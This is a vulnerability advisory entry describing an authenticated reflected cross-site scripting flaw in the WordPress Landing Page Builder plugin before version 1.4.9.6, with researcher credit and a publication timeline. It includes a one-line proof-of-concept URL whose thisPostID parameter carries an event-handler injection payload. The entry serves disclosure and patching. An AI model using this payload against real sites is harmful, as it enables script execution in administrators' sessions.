WordPress Plugin Vulnerabilities
Landing Page Builder < 1.4.9.6 - Authenticated Reflected Cross-Site Scripting (XSS)
Description
The plugin was affected by a reflected XSS in page-builder-add on the ulpb_post admin page.
Proof of Concept
http://127.0.0.1:8001/wp-admin/edit.php?post_type=ulpb_post&page=page-builder-new-landing-page&thisPostID="+style=animation-name:rotation+onanimationstart=alert(1)+x=
Affects Plugins
Fixed in version 1.4.9.6
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2021-12-16 (about 9 months ago)
Added
2021-12-16 (about 9 months ago)
Last Updated
2022-04-08 (about 5 months ago)